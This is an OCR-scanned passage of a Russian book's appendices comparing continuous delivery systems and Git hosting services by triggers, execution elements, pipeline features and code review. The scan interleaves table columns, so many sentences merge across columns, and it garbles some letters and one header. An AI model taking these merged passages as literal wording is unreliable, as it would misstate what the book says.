и Git-сервисы Bitbucket, GitНub и GitLab . 

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 
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А Системы 
неп реры вной доста вки 

• •••••••••••••••••••••••••••••••••••••••• 

В этом приложении 

./ Функции систем непрерывной доставки, рассматрива
емые в данной книге 

./ Обзор распространенных систем непрерывной до

ставки и их возможностей 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

В этом приложении мы вспомним функциональные возможности систем непре
рывной доставки, которые обсуждались на протяжении всей книги, и рассмотрим, 
какие из них доступны в нескольких часто используемых системах CD. 

В рамках этой книги функционал систем CD рассматривался на примере GitHub 
Actions. Однако, выбирая наиболее подходящую систему CD для своих потребно
стей, важно изучить и сопоставить все доступные варианты (в том числе создание 
собственной системы CD - см. главу 1 1 ) .  Здесь мы проанализируем следующие 
системы CD: 

• Argo Workflows; 

• CircleCI; 

• GitHub Actions; 

• Google Cloud Build; 

• Jenkins Pipeline; 

• Tekton. 

Этот список не исчерпывающий. При оценке систем CD, которые сюда не вошли, 
руководствуйтесь функциями, перечисленными в разделе «Список функций».  
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Фун кциональные возможности систем CD 
по гла вам 
В 1 3  главах этой книги был рассмотрен широкий спектр функциональных возмож
ностей систем CD, позволяющих упростить разработку сложных, повторно исполь
зуемых задач и пайплайнов. О функциях систем CD шла речь в следующих главах: 

• Глава 2 - обзор основных элементов пайплайна CD и терминологии, используемой 
в книге для их обозначения (события, триггеры, веб-хуки, задачи, пайплайны и др.) .  

• Глава 3 - концепция «Конфигурация как код» и важность рассмотрения конфи
гурации CD как кода, с сохранением ее в системе контроля версий.  

• Глава 7 - перечень мест проникновения ошибок в код, польза от периодического 
запуска тестов. 

• Глава 9 - важность безопасного создания программных артефактов и необхо
димые для этого функции. 

• Глава 12 - скрипты в концепции «конфигурация как код»:  вся конфигурация 
CD должна рассматриваться как код, а пайплайны и задачи CD должны быть 
повторно используемыми. 

• Глава 1 3  - набор функций уровня пайплайна, необходимый для создания эф
фективных пайплайнов, и зачем это нужно. 

При оценке систем CD следует обращать внимание именно на эти функции. Если 
они отсутствуют в системе, это не значит, что она непригодна к использованию; вам 
просто придется проделать больше работы, чтобы получить эту функциональность. 

Сп исок фун кци й 
Для часто используемых систем CD мы рассмотрим следующие функции. 

Функции запуска (см. главы 2 и 7) -------------------------
Запуск на основе событий - пайплай
ны должны запускаться и выполняться 
в ответ на различные события, напри
мер при открытии или слиянии запро
сов на вытягивание (пул-реквестов) 

Периодический запуск - регулярное заплани
рованное выполнение пайплайнов может вы
явить такие проблемы, как flаkу-тесты, и исполь
зоваться для поддержки различных стратегий 
выпуска релизов, например ночных релизов 

Конфигурация как код (или 
сборка как код) - принципи
ально важно хранить пайплай
ны СО в системе контроля вер
сий; ко всем данным, лежащим 
в основе разрабатываемого 
продукта, должны применяться 
те же луч шие практики, что 
и к бизнес-логике 

Запуск в виде сервиса -
без согласованного 
сервиса, выполняюще
го СD-пайплайны,  не
возможно обеспечить 
стабильность сборки 
продукта и практически 
невозможно обес
печить его аудит 

Временные среды - сборку 
артефакта всегда необходи
мо начинать с создания чи
стой среды, чтобы получать 
одинаковые результаты. 
Для этого часто использу
ются одноразовые вирту
альные машины и контей
неры для выполнения 
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Элементы выполнения (см. rлаву 2) 

Пайплайны - основанные на графах Задачи - элементы логики, которые должны 
оркестрации задач с функциями управ- обладать сильной связностью, слабой связан-
ления потоком, специфичными для ностью, возможностью повторного использо-
случаев использования CD вания и быть хорошо структурированы 

Функции задач и пайплайнов (см. rлавы 1 2 и 1 3) 

Входные и выходные данные - Условное выполнение - Fiпа//у-логика - пайплай-
чтобы задачи и пайплайны возможность контро- ны CD часто содержат 
можно было использовать лировать, какие части блоки, которые должны 
повторно, необходимо обе- пайплайна выполняются, выполняться, даже если 
спечить их входными данными, позволяет писать гибкие другие части пайплайна 
которые позволят настраивать пайплайны,  которые не работают. Например, 
их работу. Выходные данные ОТЛ ИЧ НО ПОДХОДЯТ ДЛЯ ПО- очистка сред и отправка 
дают возможность объединять вторного использования уведомлений, таких как 
задачи и пайплайны, чтобы их мгновенные сообщения 
поведение могло меняться в за-
висимости от результатов рабо-
ты других задач и пайплайнов 

Параллельное выполнение - Выполнение на основе Пайплайны, использующие 
параллельное выполнение стратегии матрицы - пайплайны, - в дополне-
в пайплайне не зависящих это расширенная версия ние к повторно используе-
друг от друга задач может со- параллельного выполне- мым задачам часто бывает 
кратить общее время выпол- ния, автоматизирующая полезно определить по-
нения пайплайна параллельное повторное вторно используемые 

выполнение задачи для пайплайны, которые объ-
комбинаций входных единяют задачи,  связывая 
данных и поддержива- их входные и выходные 
ющая сложные случаи параметры, и использо-
использования тестиро- вать эти пайплайны в не-
вания, такие как шардинг скольких сценариях 

Argo Workflows 
Система Argo Workflows (https : //argoproj .g ithub . io/workflows/) - это один из не
скольких проектов под брендом Argo. Argo Workflows - это обработчик рабочих 
процессов с открытым исходным кодом на основе Kubernetes, который был подарен 
фонду Cloud Native Computing Foundation (CNCF) компанией Intuit (а разработан 
компанией Applatix) .  Он поддерживает сценарии использования CD, но был создан 
для решения более широких задач автоматизации рабочих процессов. 

Функции запуска 

Запуск осуществляется на базе сопутствующего проекта Argo Eveпts, который поддер
живает множество источников событий (включая системы контроля версий, такие как 
GitHub, и интеграцию с облаком) 
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Безопасные и надежные функции  процесса сборки 

Размещать и запускать Argo необ- Контейнеры - основной элемент выполнения, 
ходимо самостоятельно; он может обеспечивающий временную среду 
использоваться для предоставления 
сервиса СО внутри организации 

Элементы выполнения 

Рабочие процессы (соответствующие Шаблоны рабочих процессов (повторно ис-
пайплайнам в данной книге) вы пол- пользуемые рабочие п роцессы) содержат шаги 
няют шаблоны рабочих процессов и/или ориентированные ациклические графы 

Функции задач и пайплайнов 

Шаблоны рабочих п роцессов являются повторно используемыми, они используют 
входные параметры и выдают результаты посредством артефактов. Шаги определяют 
входные и выходные данные (в виде параметров или артефактов) 

Условное выполне- Матричное выполнение Функциональность типа «Пай-
ние поддерживается поддерживается с помо- плайны испол ьзующие пайплай-
с помощью синтаксиса щью функции циклов ны» обеспечивается с помощью 
wheп шаблонов рабочих процессов, 

вызывающих другие шаблоны 

CircleCI 
CircleCI (https ://ci rcleci .com/docs/2.0/concepts/) - это система CD, предоставляемая 
одноименной компанией и построенная на идее использования репозитория в ка
честве источника истины для конфигурации CD («конфигурация как код») .  

Функции запуска 

Интегрируется непосредственно с системами контроля версий и может инициировать 
выполнение на основе событий из этих систем, включая GitHub и Bitbucket, а рабочие 
процессы поддерживают запуск по расписанию 

Безопасные и надежные функции процесса сборки 

CircleCI построен на Его можно использо- Среды сборки (называемые испол-
идее «конфигурация вать через общедо- нителями - executors) временные 
как код» и предпо- ступный хостинг  или и могут поддерживаться виртуальны-
лагает размещение запустить в качестве ми машинами или контейнерами; при 
конфигурации СО сервера локально желании можно повторно испол ьзо-
для п роекта в папке вать виртуальные машины для раз-
с названием .c ircleci ных заданий (это означает, что среда 
в корне репозитория выполнения не является временной) ;  

контейнеры никогда не используются 
повторно 
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Элементы вылолнения 

Пайплайны (соответствуют пайплайнам из Рабочие процессы (также почти соответ" 
данной книги) содержат рабочие процес- ствуют нашим пайплайнам) производят 
сы, а также инициирующую информацию оркестровку заданий 

Задания (соответствуют задачам в рамках Команды можно повторно использовать 
этой книги) содержат последовательные в рамках шагов заданий 
шаги 

Орбы (orbs) (также приблизительно соответствуют задачам из данной книги, но не-
много выходят за их рамки) определяют повторно используемые задания, команды 
и исполнителей 

Функции задач и пайплайнов 

Параметры могут опреде- Шаги внутри задания F iпа l lу-логика на уровне 
ляться задан иями, коман- могут выполняться по шагов поддерживается 
дами и исполнителями. условию при использова- путем указания условия 
Использование выходных нии ключевых слов when a lways 
данных между заданиями и u n l e s s  
осуществляется путем со-
хранения данных в рабочих 
п ространствах или с по-
мощью переменной среды 
BASH_ENV 

Задания в рамках рабочего процесса могут выполняться Ключевое слово mat rix по-
параллельно или последовательно. При последователь- зволяет выполнять задания 
ном выполнении заданий используется ключевое слово несколько раз, по одному 
requ i res для определения зависимостей между зада- разу для каждой уникаль-
ниями. Шаги в задании могут выполняться параллельно ной комбинации элементов 
с помощью ключевого слова parallelism  матрицы 

Система G itH ub  Actions 
GitHub Actions (https : //docs .g ithub .com/en/actions) - это система CD, встроенная 
в GitHub (подробнее о системах контроля версий см. в приложении В) .  Система 
GitHub Actions использовалась для примера в большинстве сценариев этой книги, 
потому что в ней легко создавать свои собственные репозитории GitHub и настра
ивать свои собственные задачи в GitHub. Она поддерживает функции, описанные 
в данной книге, как часть своей широкой функциональности. 

Функции  запуска 

Инициализация множеством типов активности для каждого репозитория, от заплани
рованных сrоn-событи й до обновлений запросов на вытягивание и работы с проблема
ми GitHub 

Книги для программистов: https://t.me/booksforits
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Поддерживает подход «кон- При использовании  
фигурация как  код» - более общедоступного GitHub 
того, это единственный способ система СО размещается 
настройки рабочих процес- и запускается на самом 
сов в GitHub. Характеристики GitHub. Если вы исполь-
рабочих процессов находятся зуете GitHub  Enterprise 
в репозитории,  который их локально, вы сами 
запускает, и при этом можно отвечаете за настройку 
ссылаться на рабочие процессы и запуск платформы, вы-
и действия, которые находятся полняющей задачи  
в других репозиториях 

Элементы выполнения 

Google Cloud Bui ld 389 

Каждое задание в GitHub  
Actions выполняется 
во временной среде, 
которая создается специ-
ально для этого и после 
удаляется .  Задание может 
быть запущено как целая 
виртуальная машина или 
как контейнер внутри 
виртуальной машины 

Рабочие процессы (соот- Задания (соответствующие Действия (также соответ-
ветствующие пайплайнам задачам в рамках этой ствующие задачам) п ред-
данной книги) произво- книги) содержат последова- ставляют собой повторно 
дят оркестровку заданий  тельно выполняемые шаги используемые задания 

Функции задач и пайплайнов 

Задания в рамках рабочих процес- Задан ия в рабочих F ina l ly-лoгикa также 
сов могут определять и выпускать процессах GitHub ис- поддерживается с по-
выходные данные, которые другие пользуют инструкцию мощью этого синтакси-
задания в рамках того же рабочего i f для определения са путем указания i f 
процесса затем используют как условий, при которых a lways ( )  в качестве 
входные данные. Повторно исполь- они будут выполняться условия для задания, 
зуемые рабочие процессы могут чтобы указать, что оно 
также определять входные и выход- должно быть выполне-
ные данные но в любом случае 

По умолчанию все задания в рабо- Ключевое слово Рабочие процессы мо-
чем процессе выполняются парал- mat rix позволяет гут быть определены 
лельно, если только не использует- выполнять задания не- как повторно исполь-
ся синтаксис needs,  указывающий, сколько раз, по одному зуемые, которые могут 
что одно задание должно выпал- разу для каждой уни- вызываться другими 
няться после другого задания кальной комбинации рабочими процессами 

значений  в матрице 

Goog le Cloud Bu i ld  
Google Cloud Build (GCB; https://cloud .goog le.com/bui ld) - это платформа для созда
ния CD, предоставляемая компанией Google в рамках облачных приложений. Изна
чально она проектировалась как способ создания образов контейнеров, но быстро 
превратилась в универсальный инструмент CD. 
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Функции запуска 

Поддерживает срабатывание на основе событий из интегрированных систем контроля 
версий, включая GitHub, Gitlab и Bitbucket, а также запуск веб-хуков посредством РuЫ 
Sub в GCP  и периодический запуск по расписанию 

Безопасные и надежные функции процесса сборки 

Срабатывание GCB может GCB предоставляется как Шаги в сборках GCB вы-
быть настроено на чтение сервис, размещаемый  полняются в виде времен-
определения сборки из и запускаемый на Goog le ных контейнеров, которые 
запускаемого репозитория, в рамках Goog le Cloud запускаются на виртуаль-
поддерживая п ринцип «кон- Platform (GCP) ных машинах 
фигурация как код» 

Элементы выполнения 

Сборки состоят из шагов. Они  соответствуют Каждый шаг выполняется как контей-
задачам в данной книге, а также в некоторой нер 
степени пайплайнам (поскольку шаги могут 
выполняться как графы, с последовательным 
или параллельным выполнением шагов) 

Функции задач и пайплайнов 

Сборки могут использовать входные По умолчанию шаги в сборке выполняются 
данные, предоставляемые во время вы- последовательно; ключевое слово wai tFor  
полнения, с помощью функции подста- может быть использовано для явного объ-
новок, определяемой пользователем явления порядка выполнения шагов и для 

создания графов, в которых некоторые 
шаги выполняются параллельно 

Jenkins  Pipel ine  
Jenkins (https://www.jenkins. io/doc/Ьook/pipel ine/) - одна из самых известных и ,  веро
ятно, самых часто используемых систем CD. Jenkins имеет открытый исходный код, 
и благодаря огромной экосистеме плагинов его можно заставить делать практически 
все что угодно. Мы будем считать, что Jenkins используется с набором плагинов 
Jenkins Pipeline, которые ориентированы на поддержку пайплайнов CD в Jenkins. 

Функции запуска 

Систему Jeпk iпs  Pipel i пe  можно настроить на запуск по различным событиям, включая 
триггер pol lSCM, который можно использовать для опроса различных систем управ
ления версиями (например, GitHub), и триггеры сrоп, которые позволяют планировать 
выполнение 
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Пайплайны Jeпk ins определяют- Размещать и запускать 

Tekton 391 

Поддерживаются 
ся в файле Jenkinsfiles, который Jenkins необходимо само- различные виды сред 
хранится в системе контроля стоятельно. Его можно выполнения, включая 
версий и считывается непосред- использовать для предо- контейнеры, которые 
ственно системой Jeпkins, что ставления сервиса CD могут использоваться 
позволяет использовать nрин- внутри организации как временные среды 
цип «конфигурация как код» для 
характеристик пайплайна 

Элементы выполнения 

Пайплайны (соответствующие пайплай
нам этой книги) состоят из этапов 

1 Этапы (соответствующие задачам этой 
книги) состоят из шагов 

Функции задач и пайплайнов 

Пайплайны могут исполь- Директива when может ис- F ina l ly-лoгикa содержится 
зевать ключевое слово пользоваться для условно- в секции post пайплайна, 
pa rameters  для определе- го выполнения этапов где указаны шаги, которые 
ния необходимых входных должны быть выполнены 
данных после завершения осталь-

ных этапов (даже если эти 
этапы завершатся неудачно) 

Можно настроить парал- Ключевое слово mat rix Пайплайны могут испол ь-
лельное выполнение эта- позволяет выполнять зевать другие пайплайны,  
пов пайплайна, определив  этапы повторно, по одному определенные в общих 
их во вложенных блоках разу для каждой уникаль- библиотеках Jenk ins 
parallel  ной  комбинации опреде-

ленных наборов 

Пайплайны могут быть как декларативными, так и полностью скриптовыми с испол ьзо-
ванием языка программирования Groovy. Скриптовые пайплайны обладают абсолют-
ной гибкостью в поддержке условного выполнения и fi nа l lу-логики (при помощи t ry / 
catch )  

Tekton 
Tekton ( https : //tekton . dev/ и https : //g ith u b . com/ 
tektoncd) - это система CD с открытым исходным Над системой Tekton в том 

кодом на базе Kubernetes, которая была безвозмезд- числе работала и я !  

но передана фонду Continuous Delivery Foundation 
(CDF) компанией Google. Ее цель - определить соответствующий стандарт, который 
могут поддерживать различные системы CD. Функции, описанные в данной книrе, 
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в основном поддерживаются проектами Tekton Pipelines и Tektoп Triggers. Так как это 
самая молодая из систем CD, перечисленных в этом приложении, некоторые из ее 
функций совершенно новые или находятся на этапе разработки. 

Функции  запуска 

Срабатывание по любому произвольному событию осуществляется с использованием 
проекта Tekton Triggers, который поддерживает любые источники событий и имеет 
встроенную поддержку для функций запуска GitHub, Gitlab и Bitbucket 

Безопасные и надежные функции процесса сборки 

Tekton можно запускать как сервис внутри Базовым элементом выполнения в Tekton 
кластера Kubernetes, использовать напря- является контейнер, поэтому среды вы-
мую или в качестве платформы, на которой полнения только временные 
можно построить другой сервис CD 

Элементы выполнения 

Пайппайны (соответствующие Задачи (соответствующие Каждый шаг выполняет-
пайплайнам этой книги} вы- задачам этой книги} после- ся как контейнер 
полня ют оркестровку задач довательно выполняют шаги 

Функции  задач и пайплайнов 

Как пайплайны,  так и за- Условное выполнение Fi na l ly-лoгикa в пайплайнах под-
дачи могут определять задач внутри пайплайна держивается секцией final ly, 
входные (pa rameters )  поддерживается с помо- в которой определены задачи,  
и выходные данные щью синтаксиса when требующие выполнения неза-
( resul  ts }  висимо от  результата других 

По умолчанию все задачи в пайплайне выполняются Ключевое слово mat rix  в пайп-
параллельно, пока между ними не появляется за- лайне может быть использовано 
висимость. Зависимости выражаются в том, что одна для выполнения данной задачи 
задача объявляет, что ей нужен resul  t из другой за- для всех уникальных комбина-
дачи (и поэтому она должна выполняться после той ций значений массива, указан-
задачи} ,  или используется ключевое слово runAfter  ных в описании матрицы 
для указания на упорядоченность 

На момент написания книги следующие функции находились в разработке 

Встроенная поддержка принципа «конфи- Пайплайны, повторно использующие 
гурация как код» путем п рямого обращения другие пайплайны:  подобно тому как 
к пайплайнам и задачам в системе контроля пайплайны производят оркестровку 
версий (и в других местах, например в рее- задач, они могут обращаться к другим 
страх OCI) пайплайнам 
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контроля верси й 

•••••••••••••••••••••••••••••••••••••••• • 

В этом приложении 

.,, Перечень функций систем контроля версий, рассма

триваемых в данной книге 

v- Краткий обзор популярных систем контроля версий 

.,, Обзор сервисов Git и их функций 

в 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

В этом приложении мы кратко рассмотрим системы контроля версий в целом, 
а также напомним о возможностях удаленных систем контроля версий, которые 
обсуждались в этой книге. 

Для многих примеров в книге использовалась система GitHub, но существуют 
и другие Git-сервисы, которые стоит рассмотреть в качестве возможной системы 
контроля версий для проекта. Мы кратко остановимся на некоторых из них и опи
шем, какие возможности они предоставляют: 

• Bitbucket; 

• GitHub; 

• GitLab. 

Этот список далеко не исчерпывающий. Принимая решение о том, нужен ли вам 
вообще сервис Git или лучше использовать другие инструменты, руководствуйтесь 
функциями удаленных систем контроля версий, перечисленными в разделе «Список 
функций» .  
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Системы контроля версий 
Использование системы контроля версий ( VCS, 
version control system) для текстовых данных, лежа
щих в основе создаваемого продукта (в том числе 
его конфигурации), - обязательное условие непре
рывной доставки. VCS делятся на две категории:  

Подробнее об использо
вании VCS и о том, по-
чему это необходимо при 
непрерывной доставке, 
читайте в главе 3. 

• Централизованная VCS - работает на центральном сервере, который является 
источником истины, и все изменения направляются на этот сервер. Это модель 
по умолчанию для старых вариантов VCS. 

• Распределенная VCS - каждый пользователь такой VCS получает собственную 
копию всей кодовой базы. Центрального сервера не существует. Однако на прак
тике один сервер обычно рассматривается как источник истины для проекта. 
Современные и популярные VCS по умолчанию распределенные. 

Примеры централизованных VCS: 

• Apache Sиbversion (SVN; https://subversion .apache.org/) - система с открытым ис
ходным кодом, созданная компанией CollabNet в 2000 году, версия 1 .0 выпущена 
в 2004 году. 

• Perforce Helix Core, ранее Perforce (https://www. perforce.com/products/hel ix-core),  -
выпущена компанией Perforce Software (компания основана в 1 995 году) . 

• Concиrrent  Versions Systeт (CVS; http://cvs. nongnu .org/) - создана в 1 986 году, 
версия 1 .0 выпущена в 1 990 году. 

Примеры распределенных VCS: 

• Git (https ://git-scm.com/) - система с открытым исходным кодом, выпущенная 
Линусом Торвальдсом (Linus Torvalds) в 2005 году. 

• Mercиrial (https ://www.mercurial-scm.org/) - система с открытым исходным ко-
дом, созданная в 2005 году Оливией Мэколл (Olivia Mackall) .  

Самым популярным вариантом VCS в настоящее время является Git. Если выбор 
неочевиден и для использования другой системы веских причин нет, выбирайте 
Git. Он может показаться сложным, особенно если вы привыкли использовать 
централизованные VCS, поэтому сперва уделите время изучению основ его работы. 
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Хости н г  системы контроля версий 
Если вы решили использовать Git, можете либо запускать его самостоятельно, либо 
использовать хостинг. Хостинговые Git-решения не просто предоставляют экзем
пляры Git для взаимодействия, они добавляют функции в сам Git. 

Если вы все-таки решите не использовать хостинг, вам, скорее всего, придется 
добавить поверх Git ПО для управления проектами и проверки кода. Кроме того, 
хотя вы по-прежнему сможете перехватывать выполнение пайплайна CD, вам при
дется самостоятельно организовать управление инициализацией. В этой книге вы 
узнали, на какие функции следует обращать внимание при выборе решений VCS, 
размещаемых на хостинге: 

• Глава 2. Основы системы CD, включая функциональные возможности, предо
ставляемые размещенными VCS, такие как веб-хуки ,  уведомления, события 
и триггеры. 

• Глава 3. Важность принципа «конфигурация как код», когда во главу угла всей 
CD ставится контроль версий. Объяснение, почему для эффективной интегра
ции контроля версий в CD необходимо инициировать выполнение пайплайна 
на основе изменений данных в системе контроля версий. 

• Глава 7. Жизненный цикл изменений и возможные места появления багов. Эф
фективное устранение этих багов требует инициирования выполнения на основе 
событий, поступающих от системы контроля версий, и использования очередей 
слияния, чтобы действительно убедиться, что баги не появляются по причине 
трудноуловимых конфликтов между изменениями. 

• Глава 8. Влияние способа использования контроля версий на скорость доставки 
изменений пользователям. Важность магистральной разработки и проверки кода. 

• Глава 9. Лучшие практики сборки, включая использование принципа «сборка 
как код» и возможность запуска при появлении тега (в системе управления вер
сиями) для создания релизов. 

• Глава 1 1 .  Как начать работу с пайплайнами CD. Краткий обзор частных репози
ториев (функционал, который иногда поддерживает хостинг системы контроля 
версий) .  

Для описания размещенных на  хостинге VCS иногда используется термин SCM; 
эту аббревиатуру обычно расшифровывают в широком смысле как «управление 
исходным кодом» (source code management) .  Однако термин SCM возник намного 
раньше, чем подобная нынешняя трактовка, и это может сбивать с толку. На
пример, в собственной документации Git и CVS называют себя инструментами 
SCM и при этом не имеют в виду размещенные на хостинге VCS с дополнитель
ными функциями, такими как проверка кода, а именно в этом значении этот 
термин часто используется сегодня. Подробнее читайте в главе 3 .  
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Сп исок фун кци й 
Ниже приведен обзор основных функциональных возможностей, предоставляемых 
системами контроля версий, поддерживаемыми Git. 

Управление и реализация самой системы 

Хостинг/локальное разме- Общедоступные/част- Открытый исходный код -

щение - некоторые VCS ные репозитории - раз- если сама размещенная на 

размещаются на хостинге мещенные на хостинге хостинге VCS имеет открытый 

предоставляемой систе- VCS часто поддерживают исходный код, вы сможете не 

мы, а некоторые позволя- общедоступные репо- только его просматривать, но 

ют размещать и запускать зитории, однако многие и теоретически отправлять 

собственные экземпляры. организации (возможно, обновления и исправления 

Требования безопас- большинство) не хотят багов. Возможность просмо-

ности и соответствия делать свой ИСХОДНЫЙ тра исходного кода повышает 

внутренним нормативным код общедоступным доверие к системе. Для вас 

требованиям организации и поэтому нуждаются и вашей организации это 

могут ограничить приме- в приватных репозито- может стать важным фактором 

нение до только локаль- риях при выборе системы (а может 

ных решений  и не стать) 

Планирование и координация проекта 

Отслеживание проблем - Управление проектами - Релизы - обычно рели-

минимальная функциональ- регистрировать проблемы зы в G it-репозиториях 

ность, необходимая для от- (задания) полезно, но часто помечаются тегами (это 

слеживания и планирования требуются дополнительные функция самого Git); 

п роектов, - это возможность инструменты для планиро- также полезно, если раз-

создавать задания (пробле- вания действий,  например мещенное G it-решение 

мы) ,  которые описывают и от- доска проектов для просмо- позволяет добавлять 

слеживают запросы функций тра проблем и контрольных дополнительные ме-

и баги.  Кроме того, полезно точек, чтобы спланировать, таданные к тегу, такие 

иметь возможность добав- какие будут решаться за- как заметки о релизе 

лять метки для этих заданий ,  дачи и в каких релизах и о самих выпущенных 

чтобы классифицировать их артефактах 

и назначать конкретным ис-

полнителям 

Триггеры и выполнение CD 
Веб-хуки - позволяют инициировать Очереди слияния - их также иногда на-

выполнение действия на основе событий зывают «поездами слияния» (merge tra iпs) . 
VCS объектами,  находящимися за преде- Эта функция гарантирует, что потенциаль-

лами VСS ные изменения будут проверены с самой 
последней версией главной ветки, чтобы 

в коде не возникали конфли кты 
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Bitbucket 397 

Перехватчики для систем СО - помимо Встроенная система СО - некоторые VCS 

поддержки запуска внешних систем с по- в стандартном варианте включают полную 

мощью веб-хуков, важно, чтобы эти внеш- систему CD в дополнение или вместо 

ние системы сообщали о своем состоянии, поддержки перехватчиков для внешних 

например, что пайплайн CD не прошел систем CD 
и поэтому слияние данного запроса на вы-

тягивание должно быть заблокировано 

Слияние и проверка кода 

Запросы на вытягивание, Форки, или ответвления Проверка кода, или код-

или пул-реквесты (PR), - (forks), - в распределенных ревью, - чтобы поддержи-

стандартная последователь- системах контроля версий, вать работоспособность 

ность действий при слиянии таких как Git, обычно суще- кода и обмен информаци-

кода с главной веткой ствуют ограничения на типы ей между разработчиками, 

заключается в создании за- создаваемых веток в репо- важно иметь правильную 

п роса на добавление изме- зитории источника истины. систему проверки кода. 

нений, называемого запро- В то же время в процессе Для этого необходимы ин-

сом на вытягивание (то есть работы над изменениями струменты, позволяющие 

запросом на «вытягивание» полезно иметь возможность различать изменения (то 

изменений в главную ветку) создавать (короткоживу- есть видеть, какие именно 

или запросом на слияние. На щие) ветки. Стандартным изменения относятся к те-
этом механизме основыва- решением для репозитори- кущему СОСТОЯНИ Ю кода), 

ется проверка изменений ев Git является поддержка комментировать измене-

перед их внесением, как ав- создания собственных уда- ния (например, запраши-

томатически с помощью CD, ленных копий репозитория, вать их уточнение и/или 

так и вручную посредством называемых форками, над модификацию) и одобрять 

проверки кода которыми создатель имеет изменения для слияния 

полный контроль 

Bitbucket 
Bitbucket (https: //Ьitbucket.org/product/features) - это размещенная на хостинге VCS 
на основе одноименного стартапа, приобретенного компанией Atlassian в 20 10  году. 
Первоначально она поддерживала Mercurial, но теперь переориентировалась на Git. 

Управление и реализация самой системы 

Хостинг/локальное Общедоступные/частные ре- Хотя Bitbucket не является 

размещение - имеет позитории - размещенный приложением с открытым 

как локальный,  так на хостинге Bitbucket поддер- исходным кодом, компания 
и облачный вариант жи вает как общедоступные, предоста вляет доступ к ис-

так и частные репозитории ходному коду пользователям 

с определенными лицензиями 
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Планирование и координация проекта 

Отслеживание проблем и управление проектами - эта функиональность поддержива

ется благодаря интеграции Bitbucket с системами J i ra и Tre l lo  

Триггеры и выполнение CD 
Веб-хуки - система Bitbucket поддер- Очереди слияния - эта функциональность не 

живает веб-хуки встроена в Bitbucket, но доступна через проект 
с открытым исходным кодом At lass ian Landkid 

Перехватчики для систем СО - для Встроенная система СО - встроенная под-

принудительного прохождения про- держка пайплайна CD осуществляется посред-

верок перед началом слияния требу- ством функции Bitbucket Pipes 
ется приложение Bitbucket Premium 

Слияние и проверка кода 

Пул-реквесты - поддержи- 1 Форки - поддержива-

ваются ются 

1 Код-ревью - поддержива

ется 

GitHu b  
GitHub (https://github.com/features) - это размещенное на хостинге приложение Git, 
которое используется во многих проектах с открытым исходным кодом. Оно было 
создано одноименной компанией в 2007 году и приобретено Microsoft в 20 1 8  году. 

Управление и реализация самой системы 

Хостинг/локальное размещение -
многим знакома онлайн-версия 

GitHub. Однако существует и кор

поративный вариант (Enterprise), 

который предлагает как локаль

ные, так и облачные приложения 

Общедоступные/частные репозитории -
GitHub  предлагает общедоступные репозитории 

(используемые во многих п роектах с открытым 

исходным кодом), а также частные репозитории, 

как в рамках того же размещенного на хостинге 

приложения, так и в рамках Enterprise-вepcии  

Планирование и координация проекта 

Отслеживание проблем -
репозитории GitHub включа

ют связанные с ними задания 
(проблемы).  Проблемы могут 

иметь метки и назначенных 

исполнителей, а пользователи 

Управление проекта

ми - работу можно 
организовать и коор

динировать с помощью 

досок проектов, таблиц 

проектов и контроль-

могут создавать шаблоны для ных точек 

конкретных видов проблем 

(например, багов или запросов 

функций) 

Релизы - в реnозиториях 
GitHub  могут размещать

ся релизы, связанные 

с Git-тегами.  Релизы могут 

включать примечания к вы

пуску и артефакты 
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Веб-хуки - GitHub  поддерживает веб- Очереди слияния - на момент написания 

хуки и предоставляет подробные данные этой книги GitHub поддерживал очереди 

о событиях через информационное на- слияния в виде ограниченной общедоступ-

полнение веб-хуков ной бета-версии 

Перехватчики для систем СО - внеш- Встроенная система СО - GitHub  предо-

ние СО-системы и боты могут посылать ставляет встроенную СО-систему GitHub  

запросы в GitHub  на предоставление Actioпs, которая используется во многих 

подробной (даже построчной) информа- примерах этой книги (см. приложение А) 
ции об изменениях в запросе на внесе-

ние с помощью функции проверок 

Пул-реквесты - поддер

живаются 

Форки - поддерживаются Код-ревью - поддержива

ется 

G itlab 
GitLab (https : //about .g it lab . com/featu res/ ) - это размещенное н а  хостинге Git

приложение с открытым исходным кодом, созданное одноименной компанией 
в 20 1 4  году. 

Хостинг/локальное раз

мещение - Gitlab можно 

размещать локально или 

использовать через хостинг  
компании 

Общедоступные/частные 

репозитории - проекты на 

хостинге Gitlab могут быть 

как частными, так и общедо

ступными 

1 Планиваммю+rtщшwнация проекта llll!i!!!Ba�5 
Отслеживание проблем - в ре- Управление проектами -
позиториях Gitlab можно опре- работа во всех приложе-
делять задания (проблемы). ниях организуется и ко-

Проблемы можно создавать на ординируется с помощью 

основе шаблонов для различ- досок заданий (проблем) 

ных типов (например, баги или и контрольных точек; до-

запросы функций) и снабжать рожные карты доступны 

метками. Поддержка несколь- только для пользователей 
ких назначенных исполнителей Gitlab Premium 
заданий и группировки зада-

ний  в эпики требует установки 
Gitlab Premium 

Открытый исходный 

код - Gitlab является 

приложением с откры

тым исходным кодом 

Релизы - в репози
ториях Gitlab могут 

размещаться релизы, 

связанные с G it-тегами.  
Релизы могут включать 

примечания к выпуску 

и артефакты 
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Веб-хуки - Gitlab поддерживает веб-хуки 

Перехватчики для систем СО - Gitlab 

Ult imate поддерживает эту фун кциональ

ность через функцию External  Status  Checks 

Очереди слияния - Gitlab Prem ium 

поддерживает очереди слияния под 

названием «поезда слияния» 

Встроенная система СО - Gitlab 

предоставляет встроенную систему CD 

для всех приложений 

Пул-реквесты - поддержи- Форки - поддержива- Код-ревью - поддержива

ется ваются. В Gitlab они называ- ются 
ются запросами на слияние 

(merge requests) 
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